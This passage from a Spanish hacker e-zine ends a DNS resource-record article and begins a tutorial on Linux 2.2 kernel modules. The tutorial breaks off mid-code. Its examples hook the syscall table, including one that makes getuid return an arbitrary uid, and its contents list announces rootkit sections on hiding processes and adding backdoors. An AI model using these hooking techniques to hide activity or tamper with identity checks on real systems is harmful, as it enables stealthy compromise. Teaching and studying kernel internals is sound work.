intentando resolver la direcció.
El formato del RR es el siguiente:
--------------------
| Nombre |
--------------------
| Tipo |
--------------------
| Clase |
--------------------
| Tiempo de vida |
--------------------
| Longitud RD |
--------------------
| Datos |
--------------------
1.- Nombre
Es el nombre del propietario al que pertenece el RR, el nombre del host. Este
nombre sera comprobado junto con el nombre proporcionado por el programa
cliente.
2.- Tipp
Es un número entero de 16 bits que indica el tipo de RR. No los pondré todos
porque se alargaría mucho este artículo. El que quiera más información le
puede echar una ojeada al archivo <arpa/nameser.h>.
------------------------------------------------------------------------------
| Tipo | Valor | Descripción |
------------------------------------------------------------------------------
| A | 1 | Dirección de un host |
------------------------------------------------------------------------------
| NS | 2 | Servidor de nombres con autoridad |
------------------------------------------------------------------------------
| CNAME | 5 | Nombre canónico de un álias |
------------------------------------------------------------------------------
| SOA | 6 | Indica el principio de una zona de autoridad |
------------------------------------------------------------------------------
| WKS | 11 | Descripción de un servicio estándard |
------------------------------------------------------------------------------
| PTR | 12 | Apunta a un nombre de dominio |
------------------------------------------------------------------------------
| HINFO | 13 | Información sobre un host |
------------------------------------------------------------------------------
| MINFO | 14 | Informacióm sobre un buzón o lista de correo |
------------------------------------------------------------------------------
| MX | 15 | Intercambio de correo |
------------------------------------------------------------------------------
| TXT | 16 | Cadena de texto informativa |
------------------------------------------------------------------------------
| AXFR | 252 | Apunta a la zona entera |
------------------------------------------------------------------------------
| MAILB | 253 | Solicita archivos al servidor de correo |
------------------------------------------------------------------------------
| MAILA | 254 | Registros relacionados con el agente de correo |
------------------------------------------------------------------------------
| * | 255 | Todos los registros |
------------------------------------------------------------------------------
3.- Clase del recurso
---------------------------------------------------------------------
| Tipus | Valor | Descripció |
---------------------------------------------------------------------
| IN | 1 | Internet |
---------------------------------------------------------------------
| CS | 2 | CSNET (no se utiliza) |
---------------------------------------------------------------------
| CH | 3 | CHAOS |
---------------------------------------------------------------------
| HS | 4 | Hesiod |
---------------------------------------------------------------------
| * | 255 | Todas |
---------------------------------------------------------------------
4.- Tiempo de vida (TTL), es un número entero que indica el tiempo máximo que
el RR puede estar en la memória caché.
5.- Longitud, es un número entero que indica la longitud en octetos del campo
de datos.
6.- Campo de datos, en este campo habrá una informació o otra según el tipo de
RR. Segun lo que he explicado antes:
6.1.- Tipo A, llevaría una dirección IP de 32 bits, si el host tiene varias
direcciones llevará varias direcciones IP
6.2.- NS. NSDNAME especifica un host que actúa comm servidor de nombres para
la clase y el dominio especificados. Todas las respuestas del servidor
de nombres serán autorizadas. Al realizar una solicitud NS es normal
que se incorporen registros adicionales del tipo "A" en la última
sección del mensaje destinada a la información adicional para obtener
las diferentes direcciones IP del servidor de nombres consultado.
6.3.- CNAME. CNAME indica un nombre de dominio al que esta asociado el alias
indicado en el campo nombre.
6.4.- SOA. Inicio de una zona de autoridad.
6.4.1.- Servidor de nombres: El nombre del hos que actua como servidor
de nombres primario para esa zona.
6.4.2.- E-Mail: La dirección de correo electrónico del responsable del
mantenimiento de los datos de esa zona.
6.4.3.- Número de série: Un número entero si signo de 32 bits que actúa
como número de versión para los datos de la zona. Cuando un
servidor de nombres secundario contacta con un servidor primario
para actualizar sus datos, lo primero que hace es preguntar por
el número de série que tiene los datos del primario, de esta
forma el secundario sabe si tiene una versión anterior i si
necesita o no actualizarse.
6.4.4.- Intervalo de actualización: Este intervalo indica cada cuanto
tiempo un servidor secundario contacta con el primario para
actualizar sus datos.
6.4.6.- Finalización del servicio: Cuando el servidor primario deja de
hacer su función, el secundario entra en funcionamiento
respondiendo a las peticiones que se realicen. El servidor
secundario comprobará periódicamente si el servidor primario no
vuelve a estar operativo pasado el tiempo indicado en este campo,
el servidor secundario dejara de funcionar, que se considera
que sus datos son muy antiguos.
6.4.7.- TTL (Time To Live): Este valor indica el tiempo que una respuesta
puede mantenerse en memória caché. Transcurrido ese periodo, una
respuesta almacenada en la memória caché deja de ser válida i
entonces tendrá que consultar al servidor de nombres autorizado.
----------------------------------- | Servicio de nombres |
-----------------------------------
| E-Mail |
-----------------------------------
| Numero de série |
-----------------------------------
| Intervalo de actualitzatción |
-----------------------------------
| Intervalo de reintento |
-----------------------------------
| Finalización del servicio |
-----------------------------------
| TTL |
-----------------------------------
6.5.- WKS (Descripción de un servicio estándard)
6.5.1.- Dirección IP: Una dirección IP válida
6.5.2.- Protocolo: Un identificador de protocolo de 8 bits.
6.5.3.- Bitmap: Un mapa de bits de longitud variable que tiene que ser
múltiplo de 8. Cada bit hace referencia a un puerto del host
para el protocolo indicado.
Si un host tiene diferentes direcciones IP, tiene diferentes
WKS, uno para cada dirección. Este registro nos permite saber
que servicio están disponibles en un servidor, por ejemplo si
para una determinada dirección tenemos lo que en el campo
protocolo vale 6 (TCP) y el bit 24 (puerto 25) el bitmap está a
1, entonces sabríamos que ese servidor dispone del servicio
SMTP.
--------------------------
| Dirección IP |
--------------------------
| Protocolo | BitMap |
--------------------------
6.6.- PTR (domain name PoinTeR)
Es una cadena de texto que apunta a un servidor DNS del mismo árbol.
-------------------------
| PTRDNAME |
-------------------------
6.7.- HINFO (Información sobre un host determinado)
Son dos cadenas de texto, CPU y OS que indiquen pues eso el sistema
que esta corriendo y la CPU.
------------------------
| CPU |
------------------------
| OS |
------------------------
6.8.- MIMFO (Información sobre un buzón o lista de correo)
Son dos cadenas RMAILBX i EMAILBX:
RMAILBX es un nombre de dominio que especifíca un buzón de correo.
EMAILBX es un nombre de dominio que especifica un buzón de correo
donde recibirán los mensajes de error que pertenezcan al buzón de
correo indicado anteriormente, si este campo se deja en blanco el
mensaje de error se envia al host que ha enviado el e-mail.
-------------------------
| RMAILBX |
-------------------------
| EMAILBX |
-------------------------
6.9.- MX (Servidor de correo asociado a un dominio)
Se divide en dos campos :
PREFERENCE: es un número entero de 16 bits que indica la prioridad de
este servidor entre otros del mismo tipo que puedan ser
indicados. Cuanto más bajo sea el valor más prioridad t
iene.
EXCHANGE: es un nombre de dominio que hace referencia a un host que
hará de servidor de correo para el dominio indicado en el
campo Nombre del "RR".
-------------------------
| RMAILBX |
-------------------------
| EMAILBX |
-------------------------
6.10.- TXT (Cadenas de carácteres)
Pues eso mismo, es una o más cadenas de carácteres
----------------------
| TEXTO |
----------------------
| TEXTO |
----------------------
Bueno creo que eso es todo, aqui ya he acabado de explicar el campo de
datos, solo he explicado 10 tipos, pero hay muchos más, para verlos
todos cat /usr/include/arpa/nameser.h, os apareceran 49 no se si hay
más.
Eso es todo, supongo que esto a algunos les habrá aburrido, ( a algunos :?)
Desde aqui un saludo a toda la gente que colabora haciendo esta e-zine que es
una maravilla y a la gente que la lee como no. Sobretodo al canal #root del
irc-hispano, a Ripe, b0nk, tuxisuau, Anarion, ICEFIRE, ^CyPhEr, Doing.. la
gente que me dejo que se de por saludada. A ver si hay una próxima.
^_IaM_^
Bibliografía:
-------------
Routers Cisco de Prentice Hall
TCP/IP Prentice Hall
Protocolos de Internet diseño e implementación en sistemas UNIX
Canal #root ;)
Protocolos de Internet (TCP/IP) [www.digitalsec.net]
*EOF*
-=( 7A69#12 )=--=( art4 )=--=( Linux LKMs; Troyanizando )=--=( Ripe )=-
( el kernel. )
0. Indice
---------
0. Indice
1. Introduccion
2. x86 y su modo protegido
3. Las syscalls
4. Programacion de LKMs
4.1. Breve introduccion
4.2. Hello world!! Good bye World!!
4.3. Compilando modulos
4.4. Cargando/Descargando modulos
4.5. Leiendo parametros
4.6. Otras macros
4.7. Accediendo a las syscalls
4.8. Modificando las sycalls
4.9. Tratando con la memoria
4.10. Creando dispositivos
4.11. Un par de LKMs ¿utiles?
5. Uso de LKMs para provecho person (Troyanizando el kernel)
5.1. Ocultando ficheros
5.2. Ocultando procesos
5.3. Ocultando el modo promiscuo de las interfaces de red
5.4. Sniffing desde el kernel
5.5. Evadiendo los logs del sistema
5.6. Ocultando conexiones al sistema
5.7. Redireccionando ejecuciones
5.8. Abriendo una backdoor remota
5.8.1. Redireccionando /bin/login
5.9. Ocultando el propio modulo
6. Soluciones para la administracion
6.1. Recomendaciones para asegurar el kernel
6.2. Pelea: Detectando y evadiendo la deteccion de
syscalls troyanizadas.
7. Marchando
7.1. Agradecimientos
7.2. Saludos
7.3. Contactar
7.4. Bibliografia
7.5. Nota final
1. Intoduccion
--------------
Hace realmente poco tiempo que he sentido atraccion por los LKM
(Loadable Kernel Modules), pero la fuerza de esta atraccion me ha llevado a
informarme, y mucho, sobre el tema.
La programacion de LKMs es, sin lugar a dudas, un arte, un "algo"
necesario para que los coders que adoran la programacion a bajo nivel (yo pese
a mis escasos conocimientos me considero uno de ellos). No se puede expresar
en palabras la sensacion que conlleva ver un LKM bien programado, pero he de
decir que es realmente gratificatoria. Asi pues cuando veo modulos como
$#%&@ (censurado, por privacidad del source) quedo maravillado ante la
belleza que tienen algunos coders españoles. Chapo, ya sabes quien eres.
Dejando a un lado la palabreria inutil centremonos en lo que realmente
importa, el arte, los LKMs.
Las siglas LKM, como bien habeis visto un poco mas arriba, responden a
las siglas de Loadable Kernel Module (Modulo de Kernel Cargable), y no son
mas que modulos que quita y pon para el kernel. La utilidad de estos modulos
es mucha pues evita la recompilacion total del kernel cada vez que queramos
modificar alguna cosa en el mismo.
NOTA: Antes que nada, destacare que este articulo esta orientado al kernel
2.2.x de linux, debido a mi nula experiencia de momento con el
nuevo 2.4.x.
2. x86 y su modo protegido
--------------------------
La mayoria conocereis, seguro, la existencia del modo protegido de la
familia de procesadores x86 (apartir del 386), aun asi dare una breve
explicacion para aquellos que andan un poco despistados.
Cuando hablamos del modo protegido del x86 hablamos de los 4 niveles de
privilegios que puede tomar un codigo en ejecucion. Estos son ring0, ring1,
ring2 y ring3. Comentare el ring0 y el ring3 que son los usado por Linux.
El ring0 es el modo administrador (no hay que confundir con los uid's del
sistema), en este nivel se puede hacer realmente cualquier cosa; modificar
todos los registros, acceder a todas las zonas de la memoria de forma
directam, mientras que el ring3 esta sujeto a ciertas limitaciones, como el
acceso a algunos registros o acceso directo a memoria. En linux, el kernel
corre en ring0 y los procesos de usuario en ring3, por ello los procesos no
tienen acceso directo a memoria y precisan de unas tablas de posiciones de
memoria virtual que gestiona el kernel (El kernel traduce constantemente las
direcciones virtuales de cada uno de lo procesos por su direccion real para
poder trabajar), y si un proceso intenta acceder a una zona de memoria que no
le pertenece el kernel mata el proceso de immediato, es entonces cuando nos
aparece el tipico mensagito "segmentation fault".
3. Las syscalls
---------------
Debido a las restricciones del ring3, un proceso de usuario no podria
crear un socket, por ejemplo, sin la ayuda del kernel. Para este tipo de
tareas el kernel proporciona a los procesos una serie de llamadas al systema o
syscalls. Cuando un proceso precisa del uso de una syscall colocara en eax el
numero asociado con la syscall solicitada y los parametros en ebx, ecx,
edx... para seguidamente avisar al kernel mediante la interrupcion 0x80, el
cual leera los registros adecuados para saber que debe hacer (ejecutandose en
ring0). Parece facil, y lo es. Pero la cosa no termina aqui. Para saber a que
posicion de la memoria saltar el kernel se sirve de un vector de punteros a
las syscalls. Si no ando errado Linux consta actualmente de (recordad que
tratamos con el kernel 2.2.x) 190 syscalls, las cuales podeis ver en
/usr/include/bits/syscall.h.
4. Programacion de LKMs
-----------------------
4.1. Breve introduccion
-----------------------
Antes de inciarnos en la programacion de LKMs debemos saber algunas
cosas. En primer lugar dire que los LKM pueden ser tanto cargados como
descargados, por ello, cuando programamos un modulo de este tipo, debemos
tener en cuenta las dos rutinas necesarias init_module(), ejecutada antes de
cargar el modulo y cleanup_module(), ejecutada despues de la descarga del
modulo.Ademas he de decir que para que los ficheros de inclusion seleccion el
codigo para el un modulo de kernel debemos declarar antes que nada las macros
__KERNEL__ y MODULE. Tambien es necesaria la inclusion de los ficheros
<linux/kernel.h>, <linux/module.h> y <linux/version.h>.
4.2. Hello world!! GoodBye world!!
----------------------------------
Como siempre empezaremos por el ejemplo mas simple, el hello world (que
en este caso devido a la naturaleza de carga y descarga sera hello world y
goodbye world). Destacar que para imprimir usaremos printk() y no printf()
ya que desde el kernel no podemos imprimir directamente en el terminal.
¿Donde se imprime entonces? Pues en /var/log/messages.
En este primer ejemplo, de facilisima comprension, usaremos las rutinas
init_module() y cleanup_module() para decir hola y adios respectivamente.
Veamos el codigo que seguro que os lo aclara mucho mas:
---/ hello_goodbye_world.c /---
/*
* Antes que nada todo lo que dije que era necesario.
*/
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
/*
* La rutina init_module() dara la bienvenida al mundo.
*/
int init_module() {
printk("Hello World!\n");
return(0); /* Retornamos 0, no hay error */
}
/*
* La rutina cleanup_module se despide del mundo. Hasta la proxima!
*/
void cleanup_module() {
printk("GoodBye World!\n");
}
---/ hello_goodbye_world.c /---
No creo que necesiteis mas explicacion para entender esto :)
4.3. Compilando modulos
-----------------------
Posiblemente algunos de vosotros os habreis sentido tentados, por la
costumbre, a hacer "gcc hello_goodbye_world.c -o hello_goodbye_world" y
habreis visto que nanai. El caso es que la compilaciond de Loadable Kernel
Modules es algo distinta, debemos pasar los parametros siguientes, atento;
"-O2 -c -I/usr/src/linux/include" (dependiendo, claro, de donde tengamos
nostros las fuentes del kernel), asi pues la compilacion de nuestro primer
LKM seria:
barracuda ~# gcc -O2 -c -I/usr/src/linux/include hello_goodbye_world.c
barracuda ~#
Lo cual, y devido al parametro "-c" pasado, nos generara un fichero objeto
(*.o) que insertaremos en el kernel usando insmod.
4.4. Cargando/Descargando modulos
---------------------------------
Para cargar y descargar modulos se usan las llamadas modutils, en el kernel
2.2.x realizaremos la insercion del modulo con insmod y la descarga con
rmmod. Veamos que facil:
barracuda ~# insmod hello_goodbye_world.o
barracuda ~# rmmod hello_goodbye_world
barracuda ~#
Y ahora... veamos a donde han ido a parar los printk's.
barracuda ~# tail -n 2 /var/log/messages
May 4 03:48:21 localhost Hello World!
May 4 03:48:56 localhost GoodBye World!
barracuda ~#
4.5. Leiendo parametros
-----------------------
La mayoria de los modulos programados tienen como finalidad posiblitar
la utilidad de algun dispositivo (un lector de CD, un dispositivo USB, una
targeta de sonido....) y en muchos casos es necerario especificar un IRQ y
una direccion IO. Seria muy molesto si nos vieramos obligados a recompilar
el modulo cada vez que precisasemos del cambio de uno de estos valores. Por
ello en <linux/module.h> se definen un macro para la lectura de paramtros;
MODULE_PARM. En dicho fichero de cabecera encontramos:
#define MODULE_PARM(var,type) \
const char __module_parm_##var[] \
__attribute__((section(".modinfo"))) = \
"parm_" __MODULE_STRING(var) "=" type
El uso de esta macro es realmente sencillo, basta con declarar fuera
de cualquier rutina de nuestro modulo (ojo, esto es importante) dicha macro
colocando en var la variable en la que se almacenara el dato leido y en type
el tipo de dato. Los tipos de datos son los siguientes:
b byte
h short
i int
l long
s string
Normalmente usaremos MODULE_PARM para leer un solo parametro por
variable, pero tambien es posible pasar arrays, separandolos con comas.
---/ read_parm.c /---
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
/*
* Aqui declaro las variables que se usaran para almacenar los parametros.
*/
char b;
short h;
int i;
int a[3];
long l;
char *s;
/*
* Ahora viene las macros que se encargaran de hacer que las variables
* declaradas anteriormente adquieran el valor pasado.
*/
MODULE_PARM(b, "b");
MODULE_PARM(h, "h");
MODULE_PARM(i, "i");
MODULE_PARM(a, "3-3i");
MODULE_PARM(l, "l");
MODULE_PARM(s, "s");
/*
* La rutina init_module() usara printk para imprimir los parametros leidos.
*/
int init_module() {
if (!b || !h || !i || !l || !s) {
printk("Falta algun parametro por pasar\n");
return(-1); /* Ehh, los parametros */
}
printk("Cargando modulo\n");
printk("byte=%i %c\n", (int)b, b);
printk("short=%i\n", (int)h);
printk("int=%i\n", i);
printk("int=%i, %i, %i\n", a[0], a[1], a[2]);
printk("long=%i\n", (int)l);
printk("string=%s\n", s);
return(0); /* Todo correcto */
}
void cleanup_module() {
printk("Descargando modulo\n");
}
---/ read_parm.c /---
Veamos como pasariamos los argumentos al modulo:
barracuda ~# insmod read_parm.o b=37 h=23 i=5 a=1,2,3 l=32 s="buenos dias"
barracuda ~# tail -n 7 /var/log/messages
May 6 01:43:23 localhost Cargando modulo
May 6 01:43:23 localhost byte=37 %
May 6 01:43:23 localhost short=23
May 6 01:43:23 localhost int=5
May 6 01:43:23 localhost int=1, 2, 3
May 6 01:43:23 localhost long=32
May 6 01:43:23 localhost string=Buenos dias
barracuda ~#
MODULE_PARM proporciona tambien un control de arrays para especificar
un minimo y un maximo en los datos leidos para un array. Especificaremos el
rango valido junto al tipo usando la forma A-B, donde A sera el valor minimo
y B el valor maximo (Es posible especificar solo el minimo, ignorando el
maximo). El siguiente modulo pedira un array de datos de tipo int,
comprendido con entre 3 y 7 elementos.
4.6 Otras macros
----------------
Ademas de MODULE_PARM, <linux/module.h> nos deleita con otra serie de
macros utiles, como pueden ser las siguientes:
-> MODULE_PARM_DESC se encarga de dar una breve descripcion de cada uno de
los parametros pasados.
#define MODULE_PARM_DESC(desc) \
const char __module_description[] __attribute__((section(".modinfo")))= \
"description=" desc
-> MODULE_AUTHOR se usa para especificar el coder del modulo.
#define MODULE_AUTHOR(name) \
const char __module_author[] __attribute__((section(".modinfo")))= \
"author=" name
-> MODULE_SUPPORTED_DEVICE especifica los dispositivos soportados por
el modulo.
#define MODULE_SUPPORTED_DEVICE(dev) \
const char __module_device[] __attribute__((section(".modinfo"))) = \
"device=" dev
-> MODULE_DESCRIPTION se usa para proporcionar una breve descripcion del
modulo.
#define MODULE_DESCRIPTION(desc) \
const char __module_description[] __attribute__((section(".modinfo"))) =\
"description=" desc
Posiblemente no sea necesario un ejemplo para ilustrar estas macros,
pues son realmente faciles de entender, sinembargo prefiero acompañarlo de
un ejemplo para seguir la politica teoria-ejemplo, teoria-ejemplo.... Asi
que aqui teneis el ejemplo.
---/ macros.c /---
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
MODULE_AUTHOR("Ripe - <ripe@7a69ezine.org>");
MODULE_DESCRIPTION("Modulo de ejemplo para macros como esta");
MODULE_SUPPORTED_DEVICE("sound"); /* No es un modulo de sonido, pero algo
habia que poner */
int i;
MODULE_PARM(i, "i");
MODULE_PARM_DESC(i, "Dato de tipo int a leer :)");
int init_module() {
if (!i) {
printk("No has pasado el parametro necesario\n");
return(-1);
}
printk("Modulo cargado\n");
return(0);
}
void cleanup_module() {
printk("Modulo descargado\n");
}
---/ macros.c /---
Dificil, eh!
4.7 Accediendo a las syscalls
-----------------------------
Hemos hablado anteriormente de las syscalls, comentando que el kernel
se sirve de un vector para saber a que posicion de la memoria saltar para
atender cada syscall. Desde un LKM podemos acceder a dicho vector,
unicamente necesitamos declarar lo siguiente:
extern void *sys_call_table[];
Para acceder aceder a la direccion de cada una de las syscalls
deberiamos saber su posicion dentro de sys_call_table, pero es realmente
dificil memorizar la posicion de cada una de las llamadas al sistema dentro
de dicho vector. Para ello linux nos brinda con <asm/unistd.h> donde tenemos
definidas una serie de macros que nos permiten acceder de forma facil a cada
una de las syscalls de la siguiente manera:
sys_call_table[__NR_write]; /* Con esto sacamos la posicion en la memoria
de la syscall write */
Si necesitamos llamar a una syscall dentro de un LKM no podremos usar
directamente la direccion proporcionada por el vector, sino que deberemos
realizar una copia en un dato de tipo puntero a una funcion. Quiza suena
algo raro, pero seguro que con el siguiente ejemplo os queda mucho mas claro.
---/ modgetuid.c /---
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/types.h> /* Necesaria para el uso del tipo de dato uid_t */
#include <asm/unistd.h> /* Para poder referirnos a las syscalls con __NR_* */
/*
* Este es el vector que contiene la direccion de todas las syscalls
*/
extern void *sys_call_table[];
/*
* Declaramos un puntero a funcion, para copiar la direccion de la syscall,
* para asi poder usarla
*/
uid_t (*o_getuid)();
int init_module() {
uid_t uid;
o_getuid=sys_call_table[__NR_getuid]; /* Copia la direccion de la syscall */
uid=(*o_getuid)(); /* La usamos :) */
printk("uid=%i\n", (int)uid);
return(0);
}
void cleanup_module() {
}
---/ modgetuid.c /---
4.8 Modificando las syscalls
----------------------------
Al tener acceso al array de posiciones en la memoria de las rutinas de
las sycalls, nadie nos prohibe modificar alguno de los varlores de dicho
array con lo que estariamos modificanco la posicion a la que se saltaria al
llamar a dicha syscall.
Normalmente usaremos init_module() para guardar el valor las
direcciones originales y asignar las nuetras, y cleanup_module() para
restaurar los valores originales. El siguiente ejemplo hace que getuid
retorne siempre el valor pasado por el parametro uid.
---/ my_getuid.c /---
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/types.h>
#include <asm/unistd.h>
extern void *sys_call_table[];
uid_t (*o_getuid)();
int uid;
MODULE_PARM(uid, "i");
/*
* Esta la funcion que substitira a la autentica getuid. Haremos que siempre
* retorne el parametro leido.
*/
uid_t my_getuid(void) {
return(uid);
}
int init_module() {
o_getuid=sys_call_table[__NR_getuid]; /* Guardamos el valor original para
poder restaurarlo cuando sea
necesario */
sys_call_table[__NR_getuid]=my_getuid; /* Ahora hacemos que la syscall
getuid llame a nuestra funcion */
printk("Modulo cargado, ahora getuid retornara siempre %i\n", uid);
return(0);
}
void cleanup_module() {
sys_call_table[__NR_getuid]=o_getuid; /* Restauramos el valor original */
printk("Modulo descargado\n");
}
---/ my_getuid.c /---
Realmente este LKM que acabamos de ver no tiene utilidad alguna,
sinembargo es perfecto para ilustrar el como hacer que un modulo cambie la
accion de una syscall. Lo primero que necesitamos es hacer nuestra version
de la syscall, que en este caso es la funcion my_getuid(), la cual, como se
puede ver retorna siempre el numero que le hemos pasado como parametro. Lo
segundo es hacer que init_module() haga que el vector sys_call_table[] diga
que la dirrecion de my_getuid() es la de la syscall, y que cleanup_module()
restaure el valor original, para lo que init_module() tendra que haber
guardado una copia. La cosa, contada de forma generica vendria a ser una
cosa asi (Resumiendo...):
-> La funcion my_syscall() es nuetra version de la syscall a modificar.
int my_syscall() {
/* nuestra accion */
}
-> La funcion init_module() se encarga de guardar una copia de la
posiscion en la memoria de la syscall original, para luego substituirla en
el vector por nuestra funcion.
int init_module() {
o_syscall=sys_call_table[__NR_syscall];
sys_call_table[__NR_syscall]=my_syscall;
return(0);
}
-> Al descargar el modulo hemos de dejarlo todo como estaba al
principio. Para ello restauramos la syscall original gracias a la copia que
guardamos en init_module().
void cleanup_module() {
sys_call_table[__NR_syscall]=o_syscall;
}
Ir con cuidado a la hora de hacer esto bien, de lo contrario vuestro
kernel puede sentirse resentido al decargar el modulo, ya que la syscall
tratara de saltar a una direccion erronea :)
4.9. Tratando con la memoria
----------------------------
Como ya sabeis los programas de usuario no conocen las direcciones en
la memoria reales en la que estan operando, de manera que cuando llaman a
una syscall que precisa de un puntero pasan como argumento un puntero a la
direccion virtual gestionada por el kernel. Este debe trabaja con posiciones
en la memoria reales, por lo que necesitamos de un sistema para copiar datos
de/a la memoria de usuario a/desde la memoria del kernel, para ello usaremos
basicamente dos rutinas, __generic_copy_from_user() y
__generic_copy_to_user(). El uso de dichas funciones puede asociarse al uso
de memcpy(), se le especifica un origen, un destino, y la cantidad de datos
a copiar. Siempre que queramos pasar datos que se encuentran en la memoria
del kernel a memoria de usuario (y viceversa) tendremos que hacer uso de
ellas. Y ahora, como siempre, un ejemplo muy sencillo.
---/ my_rename.c /---
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/mm.h>
#include <sys/syscall.h>
extern void *sys_call_table[];
int (*o_rename)(const char *oldpath, const char *newpath);
int my_rename(const char *oldpath, const char *newpath) {
char *oldpath_kernel=(char *)kmalloc(strlen(oldpath)+1, GFP_KERNEL);
char *newpath_kernel=(char *)kmalloc(strlen(newpath)+1, GFP_KERNEL);
memset(oldpath_kernel, 0, strlen(oldpath)+1);
memset(newpath_kernel, 0, strlen(newpath)+1);
/*
* Tenemos la intencion de imprimir en /var/log/messages el nuevo y el viejo
* path del fichero, pero no podemos usar los punteros pasados a la syscall,
* pues apuntan a una posicion virtual en la memoria del proceso, por ello
* usamos __generic_copy_from_user() para hacer una copia de los strings en
* la memoria del kernel. En los punteros que hemos declarado.
*/
__generic_copy_from_user(oldpath_kernel, oldpath, strlen(oldpath));
__generic_copy_from_user(newpath_kernel, newpath, strlen(newpath));
printk("Rename usado: %s --> %s\n", oldpath_kernel, newpath_kernel);
/*
* Llamamos a la autentica syscall para que el cambio de nombre se produzca,
* sino mal royo.
*/
kfree(oldpath_kernel);
kfree(newpath_kernel);
return((*o_rename)(oldpath, newpath));
}
int init_module() {
/*
* Os suena?
*/
o_rename=sys_call_table[__NR_rename];
sys_call_table[__NR_rename]=my_rename;
return(0);
}
void cleanup_module() {
sys_call_table[__NR_rename]=o_rename;
}
---/ my_rename.c /---
Como podeis ver, para realizar la copia antes he tenido que reservar
memoria en la zona del kernel, para ello hemos usado kmalloc(), en el primer
argumento especificamos la cantidad de memoria a reservar y en el segundo la
zona en la que se va a reservar, GFP_KERNEL, o GFP_USER. Para volver a
liberar la memoria hemos usado kfree().
Una vez cargado el modulo:
barracuda ~# mv issue.net hax
barracuda ~# tail -n 1 /var/log/messages
May 9 17:12:10 localhost Rename usado: issue.net --> hax
barracuda ~#
4.10 Creando dispositivos
-------------------------
En muchisimas ocasiones los LKMs se encargan de crear un dispositivo
para poder comunicar los procesos de la user memory con el kernel,
/dev/audio, /dev/hda o /dev/fd0 son algunos de estos ejemplos. En la mayoria
de los modulos de ejemplo que he usado para este articulo he me he
comunicado con el kernel usando alguna syscall (sys_kill, sys_rename...) por
ser la forma mas sencilla. Pero crear un dispositivo para realizar este
trabajo es tambien una propuesta mas que factible, y recomendable en muchos
casos.
Como bien sabreis, en linux, cada uno de los dispositivos consta de un
major number y un minor number.
barracuda ~# ls -l /dev/audio
crw-rw---- 1 root audio 14, 4 Nov 30 2000 /dev/audio
barracuda ~#
Vemos que /dev/audio tiene como major number el 14 y como minor number el
4. Estos numeros son usado por el kernel para identificar el dispositivo en un
registro que este contiene, y al que nosotros podemos añadir entradas usando
register_chrdev(), pasando como argumento el major number que queramos asignar
al dispositivo, un nombre identificativo y una structura file_operators que
contendra las rutinas encargadas de gestionar el dispositivo ante las posibles
operaciones a realizar.
---/ include/linux/fs.h /---
struct file_operations {
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, struct dentry *);
int (*fasync) (int, struct file *, int);
int (*check_media_change) (kdev_t dev);
int (*revalidate) (kdev_t dev);
int (*lock) (struct file *, int, struct file_lock *);
};
---/ include/linux/fs.h /---
Para mas informacion sobre cada una de las operaciones, lo mejor es
consultar las fuentes de los modulos de dispositivo contenidos en el kernel,
asi como las paginas man. Lo que aqui voy a mostrar es un breve ejemplo que
muestra la cantidad de veces que se ha usado getdents desde la carga del
modulo cada vez que leamos del dispositivo.
---/ my_device.h /---
/*
* Este dispositivo es cutrisimo. Su unica finalidad es la de ilustrar
* el funcionamiento de un device... pero los devices dan mucho juego, asi
* que jugad con ellos :)
*/
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/fd.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/dirent.h>
#include <syscall.h>
extern void *sys_call_table[];
ssize_t dev_read(struct file *f, const char *buf, size_t len, loff_t *offset);
int dev_open(struct inode *i, struct file *f);
int dev_close(struct inode *i, struct file *f);
int dev_release(struct inode *i, struct file *f);
/*
* Nuestras funciones que trataran las operaciones sobre nuestro
* dispositivo.
*/
struct file_operations fops = {
NULL, /* llseek */
(void *)dev_read, /* read */
NULL, /* write */
NULL, /* readdir */
NULL, /* poll */
NULL, /* ioctl */
NULL, /* mmap */
(void *)dev_open, /* open */
NULL, /* flush */
(void *)dev_release, /* release */
NULL,
NULL,
NULL,
NULL,
NULL
};
/*
* El contador que usaremos para saber las veces que getdents se ha
* ejecutado desde la carga del modulo.
*/
int counter=0;
/*
* Podemos pasar el mn por parametro... sino sera 0 (por lo que se tomara
* una entrada libre asignada por el kernel).
*/
int mn=0;
MODULE_PARM(mn, "i");
/*
* Buffer usado por el dispositivo.
*/
char dev_out[8192];
char *out_ptr;
/*
* Variable que usaremos para saber si el device esta abierto o no. Lo
* usamos para evitar que dos procesos abran el dispositivo a la vez, pues
* eso probocaria problemas.
*/
int opened=0;
int (*o_getdents)(unsigned int, struct dirent *, unsigned int);
int my_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
counter++; /* magia */
return((*o_getdents)(fd, dirp, count));
}
/*
* Lo que dira nuestro dispositivo cuando se lea en el :)
*/
int do_entry() {
memset(dev_out, 0, 8192);
sprintf(dev_out, "Getdents ha sido usado %i veces desde la carga del modulo\n", counter);
}
/*
* Ahora las funciones para tratar el device.
*/
ssize_t dev_read(struct file *f, const char *buf, size_t len, loff_t *offset) {
int readed=0;
do_entry();
while (len && *out_ptr) {
__generic_copy_to_user(buf+readed, out_ptr, 1);
out_ptr++;
len--;
readed++;
}
return(readed);
}
int dev_open(struct inode *i, struct file *f) {
if (opened) return(-1);
opened=1;
memset(dev_out, 0, 8192);
out_ptr=dev_out;
return(0);
}
int dev_release(struct inode *i, struct file *f) {
opened=0;
return(0);
}
int init_module() {
/*
* Resgistramos el dispositivo en el kernel.
*/
